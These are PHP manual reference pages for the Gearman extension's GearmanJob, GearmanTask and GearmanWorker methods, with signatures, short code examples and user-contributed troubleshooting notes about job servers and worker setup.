  • ≪ GearmanJob::sendFail
  • GearmanJob::sendWarning ≫
  • PHP Manual
  • GearmanJob
  • Send status

GearmanJob::sendStatus

(PECL gearman >= 0.6.0)

GearmanJob::sendStatus — Send status

説明

public GearmanJob::sendStatus ( int $numerator , int $denominator ) : bool

Sends status information to the job server and any listening clients. Use this to specify what percentage of the job has been completed.

パラメータ

numerator

The numerator of the precentage completed expressed as a fraction.

denominator

The denominator of the precentage completed expressed as a fraction.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanClient::jobStatus() - Get the status of a background job
  • GearmanTask::taskDenominator() - Get completion percentage denominator
  • GearmanTask::taskNumerator() - Get completion percentage numerator

User Contributed Notes

There are no user contributed notes for this page.


Send a warning

  • ≪ GearmanJob::sendStatus
  • GearmanJob::setReturn ≫
  • PHP Manual
  • GearmanJob
  • Send a warning

GearmanJob::sendWarning

(PECL gearman >= 0.6.0)

GearmanJob::sendWarning — Send a warning

説明

public GearmanJob::sendWarning ( string $warning ) : bool

Sends a warning for this job while it is running.

パラメータ

warning

A warning message.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanJob::sendComplete() - Send the result and complete status
  • GearmanJob::sendException() - Send exception for running job (exception)
  • GearmanJob::sendFail() - Send fail status

User Contributed Notes

There are no user contributed notes for this page.


Set a return value

  • ≪ GearmanJob::sendWarning
  • GearmanJob::status ≫
  • PHP Manual
  • GearmanJob
  • Set a return value

GearmanJob::setReturn

(PECL gearman >= 0.5.0)

GearmanJob::setReturn — Set a return value

説明

public GearmanJob::setReturn ( int $gearman_return_t ) : bool

Sets the return value for this job, indicates how the job completed.

パラメータ

gearman_return_t

A valid Gearman return value.

返り値

Description...

User Contributed Notes

There are no user contributed notes for this page.


Send status (deprecated)

  • ≪ GearmanJob::setReturn
  • GearmanJob::unique ≫
  • PHP Manual
  • GearmanJob
  • Send status (deprecated)

GearmanJob::status

(PECL gearman <= 0.5.0)

GearmanJob::status — Send status (deprecated)

説明

public GearmanJob::status ( int $numerator , int $denominator ) : bool

Sends status information to the job server and any listening clients. Use this to specify what percentage of the job has been completed.

注意:

This method has been replaced by GearmanJob::sendStatus() in the 0.6.0 release of the Gearman extenstion.

パラメータ

numerator

The numerator of the precentage completed expressed as a fraction.

denominator

The denominator of the precentage completed expressed as a fraction.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanClient::jobStatus() - Get the status of a background job
  • GearmanTask::taskDenominator() - Get completion percentage denominator
  • GearmanTask::taskNumerator() - Get completion percentage numerator

User Contributed Notes

There are no user contributed notes for this page.


Get the unique identifier

  • ≪ GearmanJob::status
  • GearmanJob::warning ≫
  • PHP Manual
  • GearmanJob
  • Get the unique identifier

GearmanJob::unique

(PECL gearman >= 0.5.0)

GearmanJob::unique — Get the unique identifier

説明

public GearmanJob::unique ( ) : string

Returns the unique identifier for this job. The identifier is assigned by the client.

パラメータ

この関数にはパラメータはありません。

返り値

An opaque unique identifier.

参考

  • GearmanClient::do() - Run a single task and return a result [deprecated]
  • GearmanTask::uuid() - Get the unique identifier for a task (deprecated)

User Contributed Notes

ben dot paulsen at myedu dot com 19-Dec-2011 12:56
I think it's worth noting that this function will not return the unique id specified by a client request unless GEARMAN_WORKER_GRAB_UNIQ is specified as an option to the worker instance as follows ...

<?php
  $worker= new GearmanWorker();
  $worker->addServer();
  $worker->addOptions(GEARMAN_WORKER_GRAB_UNIQ);
?>


Send a warning (deprecated)

  • ≪ GearmanJob::unique
  • GearmanJob::workload ≫
  • PHP Manual
  • GearmanJob
  • Send a warning (deprecated)

GearmanJob::warning

(PECL gearman <= 0.5.0)

GearmanJob::warning — Send a warning (deprecated)

説明

public GearmanJob::warning ( string $warning ) : bool

Sends a warning for this job while it is running.

注意:

This method has been replaced by GearmanJob::sendWarning() in the 0.6.0 release of the Gearman extension.

パラメータ

warning

A warning messages.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • GearmanJob::sendComplete() - Send the result and complete status
  • GearmanJob::sendException() - Send exception for running job (exception)
  • GearmanJob::sendFail() - Send fail status

User Contributed Notes

There are no user contributed notes for this page.


Get workload

  • ≪ GearmanJob::warning
  • GearmanJob::workloadSize ≫
  • PHP Manual
  • GearmanJob
  • Get workload

GearmanJob::workload

(PECL gearman >= 0.5.0)

GearmanJob::workload — Get workload

説明

public GearmanJob::workload ( ) : string

Returns the workload for the job. This is serialized data that is to be processed by the worker.

パラメータ

この関数にはパラメータはありません。

返り値

Serialized data.

参考

  • GearmanClient::do() - Run a single task and return a result [deprecated]
  • GearmanJob::workloadSize() - Get size of work load

User Contributed Notes

There are no user contributed notes for this page.


Get size of work load

  • ≪ GearmanJob::workload
  • GearmanTask ≫
  • PHP Manual
  • GearmanJob
  • Get size of work load

GearmanJob::workloadSize

(PECL gearman >= 0.5.0)

GearmanJob::workloadSize — Get size of work load

説明

public GearmanJob::workloadSize ( ) : int

Returns the size of the job's work load (the data the worker is to process) in bytes.

パラメータ

この関数にはパラメータはありません。

返り値

The size in bytes.

参考

  • GearmanJob::workload() - Get workload

User Contributed Notes

There are no user contributed notes for this page.


The GearmanTask class

(PECL gearman >= 0.5.0)

はじめに

クラス概要

GearmanTask {
/* メソッド */
public __construct ( )
public create ( ) : GearmanTask|false
public data ( ) : string
public dataSize ( ) : int
public function ( ) : string
public functionName ( ) : string
public isKnown ( ) : bool
public isRunning ( ) : bool
public jobHandle ( ) : string
public recvData ( int $data_len ) : array
public returnCode ( ) : int
public sendData ( string $data ) : int
public sendWorkload ( string $data ) : int
public taskDenominator ( ) : int
public taskNumerator ( ) : int
public unique ( ) : string
public uuid ( ) : string
}

目次

  • GearmanTask::__construct — Create a GearmanTask instance
  • GearmanTask::create — Create a task (deprecated)
  • GearmanTask::data — Get data returned for a task
  • GearmanTask::dataSize — Get the size of returned data
  • GearmanTask::function — Get associated function name (deprecated)
  • GearmanTask::functionName — Get associated function name
  • GearmanTask::isKnown — Determine if task is known
  • GearmanTask::isRunning — Test whether the task is currently running
  • GearmanTask::jobHandle — Get the job handle
  • GearmanTask::recvData — Read work or result data into a buffer for a task
  • GearmanTask::returnCode — Get the last return code
  • GearmanTask::sendData — Send data for a task (deprecated)
  • GearmanTask::sendWorkload — Send data for a task
  • GearmanTask::taskDenominator — Get completion percentage denominator
  • GearmanTask::taskNumerator — Get completion percentage numerator
  • GearmanTask::unique — Get the unique identifier for a task
  • GearmanTask::uuid — Get the unique identifier for a task (deprecated)

User Contributed Notes

There are no user contributed notes for this page.


Create a GearmanTask instance

  • ≪ GearmanTask
  • GearmanTask::create ≫
  • PHP Manual
  • GearmanTask
  • Create a GearmanTask instance

GearmanTask::__construct

(PECL gearman >= 0.5.0)

GearmanTask::__construct — Create a GearmanTask instance

説明

public GearmanTask::__construct ( )

Creates a GearmanTask instance representing a task to be submitted to a job server.

パラメータ

この関数にはパラメータはありません。

返り値

A GearmanTask object.

User Contributed Notes

There are no user contributed notes for this page.


Create a task (deprecated)

  • ≪ GearmanTask::__construct
  • GearmanTask::data ≫
  • PHP Manual
  • GearmanTask
  • Create a task (deprecated)

GearmanTask::create

(PECL gearman <= 0.5.0)

GearmanTask::create — Create a task (deprecated)

説明

public GearmanTask::create ( ) : GearmanTask|false

Returns a new GearmanTask object.

注意:

This method was removed in the 0.6.0 version of the Gearman extension.

パラメータ

この関数にはパラメータはありません。

返り値

A GearmanTask oject失敗した場合に false を返します.

User Contributed Notes

There are no user contributed notes for this page.


Get data returned for a task

  • ≪ GearmanTask::create
  • GearmanTask::dataSize ≫
  • PHP Manual
  • GearmanTask
  • Get data returned for a task

GearmanTask::data

(PECL gearman >= 0.5.0)

GearmanTask::data — Get data returned for a task

説明

public GearmanTask::data ( ) : string

Returns data being returned for a task by a worker.

パラメータ

この関数にはパラメータはありません。

返り値

The serialized data, or false if no data is present.

参考

  • GearmanTask::dataSize() - Get the size of returned data

User Contributed Notes

There are no user contributed notes for this page.


Get the size of returned data

  • ≪ GearmanTask::data
  • GearmanTask::function ≫
  • PHP Manual
  • GearmanTask
  • Get the size of returned data

GearmanTask::dataSize

(PECL gearman >= 0.5.0)

GearmanTask::dataSize — Get the size of returned data

説明

public GearmanTask::dataSize ( ) : int

Returns the size of the data being returned for a task.

パラメータ

この関数にはパラメータはありません。

返り値

The data size, or false if there is no data.

参考

  • GearmanTask::data() - Get data returned for a task

User Contributed Notes

There are no user contributed notes for this page.


Get associated function name (deprecated)

  • ≪ GearmanTask::dataSize
  • GearmanTask::functionName ≫
  • PHP Manual
  • GearmanTask
  • Get associated function name (deprecated)

GearmanTask::function

(PECL gearman <= 0.5.0)

GearmanTask::function — Get associated function name (deprecated)

説明

public GearmanTask::function ( ) : string

Returns the name of the function this task is associated with, i.e., the function the Gearman worker calls.

注意:

This method has been replaced by GearmanTask::functionName() in the 0.6.0 release of the Gearman extension.

パラメータ

この関数にはパラメータはありません。

返り値

A function name.

User Contributed Notes

There are no user contributed notes for this page.


Get associated function name

  • ≪ GearmanTask::function
  • GearmanTask::isKnown ≫
  • PHP Manual
  • GearmanTask
  • Get associated function name

GearmanTask::functionName

(PECL gearman >= 0.6.0)

GearmanTask::functionName — Get associated function name

説明

public GearmanTask::functionName ( ) : string

Returns the name of the function this task is associated with, i.e., the function the Gearman worker calls.

パラメータ

この関数にはパラメータはありません。

返り値

A function name.

User Contributed Notes

There are no user contributed notes for this page.


Determine if task is known

  • ≪ GearmanTask::functionName
  • GearmanTask::isRunning ≫
  • PHP Manual
  • GearmanTask
  • Determine if task is known

GearmanTask::isKnown

(PECL gearman >= 0.5.0)

GearmanTask::isKnown — Determine if task is known

説明

public GearmanTask::isKnown ( ) : bool

Gets the status information for whether or not this task is known to the job server.

パラメータ

この関数にはパラメータはありません。

返り値

true if the task is known, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Test whether the task is currently running

  • ≪ GearmanTask::isKnown
  • GearmanTask::jobHandle ≫
  • PHP Manual
  • GearmanTask
  • Test whether the task is currently running

GearmanTask::isRunning

(PECL gearman >= 0.5.0)

GearmanTask::isRunning — Test whether the task is currently running

説明

public GearmanTask::isRunning ( ) : bool

Indicates whether or not this task is currently running.

パラメータ

この関数にはパラメータはありません。

返り値

true if the task is running, false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Get the job handle

  • ≪ GearmanTask::isRunning
  • GearmanTask::recvData ≫
  • PHP Manual
  • GearmanTask
  • Get the job handle

GearmanTask::jobHandle

gearman_job_handle

(PECL gearman >= 0.5.0)

GearmanTask::jobHandle -- gearman_job_handle — Get the job handle

説明

public GearmanTask::jobHandle ( ) : string

Returns the job handle for this task.

パラメータ

この関数にはパラメータはありません。

返り値

The opaque job handle.

参考

  • GearmanClient::doJobHandle() - Get the job handle for the running task

User Contributed Notes

chris at cmbuckley dot co dot uk 14-Aug-2013 08:38
The job handle is not assigned until the task is received and queued by the job server, so you will need to use one of the client callbacks to access the handle:

<?php
$client->setCreatedCallback(function ($task) {
    var_dump($task->jobHandle()); // "H:server:1"
});
$task = $client->addTask('function', 'workload');
var_dump($task->jobHandle()); // ""


Read work or result data into a buffer for a task

  • ≪ GearmanTask::jobHandle
  • GearmanTask::returnCode ≫
  • PHP Manual
  • GearmanTask
  • Read work or result data into a buffer for a task

GearmanTask::recvData

(PECL gearman >= 0.5.0)

GearmanTask::recvData — Read work or result data into a buffer for a task

説明

public GearmanTask::recvData ( int $data_len ) : array

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

パラメータ

data_len

Length of data to be read.

返り値

An array whose first element is the length of data read and the second is the data buffer. Returns false if the read failed.

参考

  • GearmanTask::sendData() - Send data for a task (deprecated)

User Contributed Notes

There are no user contributed notes for this page.


Get the last return code

  • ≪ GearmanTask::recvData
  • GearmanTask::sendData ≫
  • PHP Manual
  • GearmanTask
  • Get the last return code

GearmanTask::returnCode

(PECL gearman >= 0.5.0)

GearmanTask::returnCode — Get the last return code

説明

public GearmanTask::returnCode ( ) : int

Returns the last Gearman return code for this task.

パラメータ

この関数にはパラメータはありません。

返り値

A valid Gearman return code.

参考

  • GearmanClient::returnCode() - Get the last Gearman return code

User Contributed Notes

There are no user contributed notes for this page.


Send data for a task (deprecated)

  • ≪ GearmanTask::returnCode
  • GearmanTask::sendWorkload ≫
  • PHP Manual
  • GearmanTask
  • Send data for a task (deprecated)

GearmanTask::sendData

(PECL gearman <= 0.5.0)

GearmanTask::sendData — Send data for a task (deprecated)

説明

public GearmanTask::sendData ( string $data ) : int

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

パラメータ

data

Data to send to the worker.

返り値

The length of data sent, or false if the send failed.

参考

  • GearmanTask::recvData() - Read work or result data into a buffer for a task

User Contributed Notes

There are no user contributed notes for this page.


Send data for a task

  • ≪ GearmanTask::sendData
  • GearmanTask::taskDenominator ≫
  • PHP Manual
  • GearmanTask
  • Send data for a task

GearmanTask::sendWorkload

(PECL gearman >= 0.6.0)

GearmanTask::sendWorkload — Send data for a task

説明

public GearmanTask::sendWorkload ( string $data ) : int

警告

この関数は、 実験的 なものです。この関数の動作・ 名前・その他ドキュメントに書かれている事項は、予告なく、将来的な PHP のリリースにおいて変更される可能性があります。 この関数は自己責任で使用してください。

パラメータ

data

Data to send to the worker.

返り値

The length of data sent, or false if the send failed.

参考

  • GearmanTask::recvData() - Read work or result data into a buffer for a task

User Contributed Notes

There are no user contributed notes for this page.


Get completion percentage denominator

  • ≪ GearmanTask::sendWorkload
  • GearmanTask::taskNumerator ≫
  • PHP Manual
  • GearmanTask
  • Get completion percentage denominator

GearmanTask::taskDenominator

(PECL gearman >= 0.5.0)

GearmanTask::taskDenominator — Get completion percentage denominator

説明

public GearmanTask::taskDenominator ( ) : int

Returns the denominator of the percentage of the task that is complete expressed as a fraction.

パラメータ

この関数にはパラメータはありません。

返り値

A number between 0 and 100, or false if cannot be determined.

参考

  • GearmanTask::taskNumerator() - Get completion percentage numerator

User Contributed Notes

There are no user contributed notes for this page.


Get completion percentage numerator

  • ≪ GearmanTask::taskDenominator
  • GearmanTask::unique ≫
  • PHP Manual
  • GearmanTask
  • Get completion percentage numerator

GearmanTask::taskNumerator

(PECL gearman >= 0.5.0)

GearmanTask::taskNumerator — Get completion percentage numerator

説明

public GearmanTask::taskNumerator ( ) : int

Returns the numerator of the percentage of the task that is complete expressed as a fraction.

パラメータ

この関数にはパラメータはありません。

返り値

A number between 0 and 100, or false if cannot be determined.

参考

  • GearmanTask::taskDenominator() - Get completion percentage denominator

User Contributed Notes

There are no user contributed notes for this page.


Get the unique identifier for a task

  • ≪ GearmanTask::taskNumerator
  • GearmanTask::uuid ≫
  • PHP Manual
  • GearmanTask
  • Get the unique identifier for a task

GearmanTask::unique

(PECL gearman >= 0.6.0)

GearmanTask::unique — Get the unique identifier for a task

説明

public GearmanTask::unique ( ) : string

Returns the unique identifier for this task. This is assigned by the GearmanClient, as opposed to the job handle which is set by the Gearman job server.

パラメータ

この関数にはパラメータはありません。

返り値

The unique identifier, or false if no identifier is assigned.

参考

  • GearmanClient::do() - Run a single task and return a result [deprecated]
  • GearmanClient::addTask() - Add a task to be run in parallel

User Contributed Notes

There are no user contributed notes for this page.


Get the unique identifier for a task (deprecated)

  • ≪ GearmanTask::unique
  • GearmanWorker ≫
  • PHP Manual
  • GearmanTask
  • Get the unique identifier for a task (deprecated)

GearmanTask::uuid

(PECL gearman <= 0.5.0)

GearmanTask::uuid — Get the unique identifier for a task (deprecated)

説明

public GearmanTask::uuid ( ) : string

Returns the unique identifier for this task. This is assigned by the GearmanClient, as opposed to the job handle which is set by the Gearman job server.

注意:

This method has been replaced by GearmanTask::unique() in the 0.6.0 release of the Gearman extension.

パラメータ

この関数にはパラメータはありません。

返り値

The unique identifier, or false if no identifier is assigned.

参考

  • GearmanClient::do() - Run a single task and return a result [deprecated]
  • GearmanClient::addTask() - Add a task to be run in parallel

User Contributed Notes

There are no user contributed notes for this page.


The GearmanWorker class

(PECL gearman >= 0.5.0)

はじめに

クラス概要

GearmanWorker {
/* メソッド */
public addFunction ( string $function_name , callable $function , mixed &$context = ? , int $timeout = ? ) : bool
public addOptions ( int $option ) : bool
public addServer ( string $host = 127.0.0.1 , int $port = 4730 ) : bool
public addServers ( string $servers = 127.0.0.1:4730 ) : bool
public clone ( ) : void
public __construct ( )
public echo ( string $workload ) : bool
public error ( ) : string
public getErrno ( ) : int
public options ( ) : int
public register ( string $function_name , int $timeout = ? ) : bool
public removeOptions ( int $option ) : bool
public returnCode ( ) : int
public setId ( string $id ) : bool
public setOptions ( int $option ) : bool
public setTimeout ( int $timeout ) : bool
public timeout ( ) : int
public unregister ( string $function_name ) : bool
public unregisterAll ( ) : bool
public wait ( ) : bool
public work ( ) : bool
}

目次

  • GearmanWorker::addFunction — Register and add callback function
  • GearmanWorker::addOptions — Add worker options
  • GearmanWorker::addServer — Add a job server
  • GearmanWorker::addServers — Add job servers
  • GearmanWorker::clone — Create a copy of the worker
  • GearmanWorker::__construct — Create a GearmanWorker instance
  • GearmanWorker::echo — Test job server response
  • GearmanWorker::error — Get the last error encountered
  • GearmanWorker::getErrno — Get errno
  • GearmanWorker::options — Get worker options
  • GearmanWorker::register — Register a function with the job server
  • GearmanWorker::removeOptions — Remove worker options
  • GearmanWorker::returnCode — Get last Gearman return code
  • GearmanWorker::setId — Give the worker an identifier so it can be tracked when asking gearmand for the list of available workers
  • GearmanWorker::setOptions — Set worker options
  • GearmanWorker::setTimeout — Set socket I/O activity timeout
  • GearmanWorker::timeout — Get socket I/O activity timeout
  • GearmanWorker::unregister — Unregister a function name with the job servers
  • GearmanWorker::unregisterAll — Unregister all function names with the job servers
  • GearmanWorker::wait — Wait for activity from one of the job servers
  • GearmanWorker::work — Wait for and perform jobs

User Contributed Notes

spacewalker2002 at ukr dot net 26-Apr-2013 08:09
For background run use:

exec("nohup php worker.php >/dev/null 2>/dev/null &");


Register and add callback function

  • ≪ GearmanWorker
  • GearmanWorker::addOptions ≫
  • PHP Manual
  • GearmanWorker
  • Register and add callback function

GearmanWorker::addFunction

(PECL gearman >= 0.5.0)

GearmanWorker::addFunction — Register and add callback function

説明

public GearmanWorker::addFunction ( string $function_name , callable $function , mixed &$context = ? , int $timeout = ? ) : bool

Registers a function name with the job server and specifies a callback corresponding to that function. Optionally specify extra application context data to be used when the callback is called and a timeout.

パラメータ

function_name

The name of a function to register with the job server

function

A callback that gets called when a job for the registered function name is submitted

context

A reference to arbitrary application context data that can be modified by the worker function

timeout

An interval of time in seconds

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Simple worker making use of extra application context data

<?php

# get a gearman worker
$worker= new GearmanWorker();

# add the default server (localhost)
$worker->addServer();

# define a variable to hold application data
$count= 0;

# add the "reverse" function
$worker->addFunction("reverse", "reverse_cb", $count);

# start the worker
while ($worker->work());

function reverse_cb($job, &$count)
{
  $count++;
  return "$count: " . strrev($job->workload());
}

?>

Running a client that submits two jobs for the reverse function would have output similar to the following:

1: olleh
2: dlrow

参考

  • GearmanClient::do() - Run a single task and return a result [deprecated]

User Contributed Notes

There are no user contributed notes for this page.


Add worker options

  • ≪ GearmanWorker::addFunction
  • GearmanWorker::addServer ≫
  • PHP Manual
  • GearmanWorker
  • Add worker options

GearmanWorker::addOptions

(PECL gearman >= 0.6.0)

GearmanWorker::addOptions — Add worker options

説明

public GearmanWorker::addOptions ( int $option ) : bool

Adds one or more options to the options previously set.

パラメータ

option

The options to be added

返り値

Always returns true.

参考

  • GearmanWorker::options() - Get worker options
  • GearmanClient::setOptions() - Set client options
  • GearmanClient::removeOptions() - Remove client options

User Contributed Notes

There are no user contributed notes for this page.


Add a job server

  • ≪ GearmanWorker::addOptions
  • GearmanWorker::addServers ≫
  • PHP Manual
  • GearmanWorker
  • Add a job server

GearmanWorker::addServer

(PECL gearman >= 0.5.0)

GearmanWorker::addServer — Add a job server

説明

public GearmanWorker::addServer ( string $host = 127.0.0.1 , int $port = 4730 ) : bool

Adds a job server to this worker. This goes into a list of servers than can be used to run jobs. No socket I/O happens here.

パラメータ

host

ジョブサーバーのホスト名。

port

ジョブサーバーのポート番号。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Add alternate Gearman servers

<?php
$worker= new GearmanWorker();
$worker->addServer("10.0.0.1");
$worker->addServer("10.0.0.2", 7003);
?>

参考

  • GearmanWorker::addServers() - Add job servers

User Contributed Notes

anubhav dot jha at gmail dot com 02-May-2017 11:26
I was receving following message on add server Uncaught exception 'GearmanException' with message 'Failed to set exception option' in <<filename>>:<<linenumber >>
 was on centos 6.5

fixed by following steps:
yum install gearmand
/etc/init.d/gearmand start
mike at eastghost dot com 18-Feb-2017 01:23
PHP Fatal error:  Uncaught exception 'GearmanException' with message 'Failed to set exception option'

also indicates the gearmand daemon is not running.
allevo 07-Feb-2017 10:28
On Ubuntu (php7 php-gearman/xenial,now 2.0.2+1.1.2-1+deb.sury.org~xenial+1 amd64) this function throws a GearmanException.
Please use in try catch
liv_romania at yahoo dot com 18-Jul-2015 03:14
To properly test the server added you could use the following code:

<?php
// create the worker
$worker= new GearmanWorker();

// add the  job server (bad host/port)
$worker->addServer('127.0.0.2', 4731);

// define a variable to hold application data
$count = 0;

// add the reverse function
$worker->addFunction('reverse', 'my_reverse_function', $count);

// test job server response
if (!@$worker->echo('test data')) {
    die($worker->error());
}

// start the worker listening for job submissions
while ($worker->work());

function my_reverse_function($job, &$count)
{
    $count++;

    return $count . ': ' . strrev($job->workload()) . "\n";
}
?>
617137379 at qq dot com 30-Oct-2013 08:10
No socket I/O happens in addserver.
gabe dot spradlin at gmail dot com 27-Sep-2013 03:42
The manual states that you get a TRUE on success and FALSE on failure. When I have attempted to connect to a server that is powered off I still get TRUE. The return from returnCode() is 0 which is the same as the returnCode() from a successful connection.

I have not yet found a way around this.
magge 14-Oct-2012 07:21
If you suddenly start getting a:

PHP Fatal error:  Uncaught exception 'GearmanException' with message 'Failed to set exception option' in

...on your GearmanWorker::work() calls, I was able to fix this by specifying values to GearmanWorker::addServer(), even if they are the same as the documented default values.

Crashes:

<?php
$gmw = new GearmanWorker();
$gmw->addServer();
$gmw->work();
?>

Works:

<?php
$gmw = new GearmanWorker();
$gmw->addServer("127.0.0.1", 4730);
$gmw->work();
?>

Go figure. :)


Add job servers

  • ≪ GearmanWorker::addServer
  • GearmanWorker::clone ≫
  • PHP Manual
  • GearmanWorker
  • Add job servers

GearmanWorker::addServers

(PECL gearman >= 0.5.0)

GearmanWorker::addServers — Add job servers

説明

public GearmanWorker::addServers ( string $servers = 127.0.0.1:4730 ) : bool

Adds one or more job servers to this worker. These go into a list of servers that can be used to run jobs. No socket I/O happens here.

パラメータ

servers

A comma separated list of job servers in the format host:port. If no port is specified, it defaults to 4730.

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 Add two job servers

<?php

$worker= new GearmanWorker();
$worker->addServers("10.0.0.1,10.0.0.2:7003");

?>

参考

  • GearmanWorker::addServer() - Add a job server

User Contributed Notes

matthew day 23-Nov-2011 12:45
as of this note, the current released version of gearman doesn't really work so well to add multiple servers, although it's fixed in SVN

see: https://bugs.php.net/bug.php?id=59423

if i just add one server to my worker, it works just fine and sits and waits for a job to do

if I have more than 1 server in my worker, i get a timeout warning which causes the worker to generate a php notice and the while loop fails.


Create a copy of the worker

  • ≪ GearmanWorker::addServers
  • GearmanWorker::__construct ≫
  • PHP Manual
  • GearmanWorker
  • Create a copy of the worker

GearmanWorker::clone

(PECL gearman >= 0.5.0)

GearmanWorker::clone — Create a copy of the worker

説明

public GearmanWorker::clone ( ) : void

Creates a copy of the worker.

パラメータ

この関数にはパラメータはありません。

返り値

A GearmanWorker object

User Contributed Notes

There are no user contributed notes for this page.


Create a GearmanWorker instance

  • ≪ GearmanWorker::clone
  • GearmanWorker::echo ≫
  • PHP Manual
  • GearmanWorker
  • Create a GearmanWorker instance

GearmanWorker::__construct

(PECL gearman >= 0.5.0)

GearmanWorker::__construct — Create a GearmanWorker instance

説明

public GearmanWorker::__construct ( )

Creates a GearmanWorker instance representing a worker that connects to the job server and accepts tasks to run.

パラメータ

この関数にはパラメータはありません。

返り値

A GearmanWorker object

参考

  • GearmanWorker::clone() - Create a copy of the worker

User Contributed Notes

There are no user contributed notes for this page.


Test job server response

  • ≪ GearmanWorker::__construct
  • GearmanWorker::error ≫
  • PHP Manual
  • GearmanWorker
  • Test job server response

GearmanWorker::echo

(PECL gearman >= 0.6.0)

GearmanWorker::echo — Test job server response

説明

public GearmanWorker::echo ( string $workload ) : bool

Sends data to all job servers to see if they echo it back. This is a test function to see if job servers are responding properly.

パラメータ

workload

Arbitrary serialized data

返り値

Standard Gearman return value.

参考

  • GearmanClient::echo() - Send data to all job servers to see if they echo it back [deprecated]

User Contributed Notes

There are no user contributed notes for this page.


Get the last error encountered

  • ≪ GearmanWorker::echo
  • GearmanWorker::getErrno ≫
  • PHP Manual
  • GearmanWorker
  • Get the last error encountered

GearmanWorker::error

(PECL gearman >= 0.5.0)

GearmanWorker::error — Get the last error encountered

説明

public GearmanWorker::error ( ) : string

Returns an error string for the last error encountered.

パラメータ

この関数にはパラメータはありません。

返り値

An error string.

参考

  • GearmanWorker::getErrno() - Get errno

User Contributed Notes

There are no user contributed notes for this page.


Get errno

  • ≪ GearmanWorker::error
  • GearmanWorker::options ≫
  • PHP Manual
  • GearmanWorker
  • Get errno

GearmanWorker::getErrno

(PECL gearman >= 0.5.0)

GearmanWorker::getErrno — Get errno

説明

public GearmanWorker::getErrno ( ) : int

Returns the value of errno in the case of a GEARMAN_ERRNO return value.

パラメータ

この関数にはパラメータはありません。

返り値

A valid errno.

参考

  • GearmanWorker::error() - Get the last error encountered

User Contributed Notes

There are no user contributed notes for this page.


Get worker options

  • ≪ GearmanWorker::getErrno
  • GearmanWorker::register ≫
  • PHP Manual
  • GearmanWorker
  • Get worker options

GearmanWorker::options

(PECL gearman >= 0.6.0)

GearmanWorker::options — Get worker options

説明

public GearmanWorker::options ( ) : int

Gets the options previously set for the worker.

パラメータ

この関数にはパラメータはありません。

返り値

The options currently set for the worker.

参考

  • GearmanWorker::setOptions() - Set worker options

User Contributed Notes

There are no user contributed notes for this page.


Register a function with the job server

  • ≪ GearmanWorker::options
  • GearmanWorker::removeOptions ≫
  • PHP Manual
  • GearmanWorker
  • Register a function with the job server

GearmanWorker::register

(PECL gearman >= 0.6.0)

GearmanWorker::register — Register a function with the job server

説明

public GearmanWorker::register ( string $function_name , int $timeout = ? ) : bool

Registers a function name with the job server with an optional timeout. The timeout specifies how many seconds the server will wait before marking a job as failed. If the timeout is set to zero, there is no timeout.

パラメータ

function_name

The name of a function to register with the job server

timeout

An interval of time in seconds

返り値

A standard Gearman return value.

参考

  • GearmanWorker::unregister() - Unregister a function name with the job servers
  • GearmanWorker::unregisterAll() - Unregister all function names with the job servers

User Contributed Notes

There are no user contributed notes for this page.


Remove worker options

  • ≪ GearmanWorker::register
  • GearmanWorker::returnCode ≫
  • PHP Manual
  • GearmanWorker
  • Remove worker options

GearmanWorker::removeOptions

(PECL gearman >= 0.6.0)

GearmanWorker::removeOptions — Remove worker options

説明

public GearmanWorker::removeOptions ( int $option ) : bool

Removes (unsets) one or more worker options.

パラメータ

option

The options to be removed (unset)

返り値

Always returns true.

参考

  • GearmanWorker::options() - Get worker options
  • GearmanWorker::setOptions() - Set worker options
  • GearmanWorker::addOptions() - Add worker options

User Contributed Notes

There are no user contributed notes for this page.


Get last Gearman return code

  • ≪ GearmanWorker::removeOptions
  • GearmanWorker::setId ≫
  • PHP Manual
  • GearmanWorker
  • Get last Gearman return code

GearmanWorker::returnCode

(PECL gearman >= 0.5.0)

GearmanWorker::returnCode — Get last Gearman return code

説明

public GearmanWorker::returnCode ( ) : int

Returns the last Gearman return code.

パラメータ

この関数にはパラメータはありません。

返り値

A valid Gearman return code.

参考

  • GearmanWorker::error() - Get the last error encountered
  • GearmanWorker::getErrno() - Get errno

User Contributed Notes

There are no user contributed notes for this page.


Give the worker an identifier so it can be tracked when asking gearmand for the list of available workers

  • ≪ GearmanWorker::returnCode
  • GearmanWorker::setOptions ≫
  • PHP Manual
  • GearmanWorker
  • Give the worker an identifier so it can be tracked when asking gearmand for the list of available workers

GearmanWorker::setId

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

GearmanWorker::setId — Give the worker an identifier so it can be tracked when asking gearmand for the list of available workers

説明

public GearmanWorker::setId ( string $id ) : bool

Assigns the worker an identifier.

パラメータ

id

A string identifier.

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 GearmanWorker::setId() example

Set an identifier for a simple worker.

<?php
$worker= new GearmanWorker();
$worker->setId('test');
?>

上の例の出力は、 たとえば以下のようになります。

Run the following command:
gearadmin --workers

Output:
30 ::3a3a:3361:3361:3a33%976303667 - : test

User Contributed Notes

zymspy at 163 dot com 05-Dec-2014 07:14
Example #1 is wrong
The Output is nearly like:
[no] [IP] [ID] : [function_name] [function_name] ...

Such as:
73 127.0.0.1 collect : ping_collect snmp_collect


Set worker options

  • ≪ GearmanWorker::setId
  • GearmanWorker::setTimeout ≫
  • PHP Manual
  • GearmanWorker
  • Set worker options

GearmanWorker::setOptions

(PECL gearman >= 0.5.0)

GearmanWorker::setOptions — Set worker options

説明

public GearmanWorker::setOptions ( int $option ) : bool

Sets one or more options to the supplied value.

パラメータ

option

The options to be set

返り値

Always returns true.

参考

  • GearmanWorker::options() - Get worker options
  • GearmanWorker::addOptions() - Add worker options
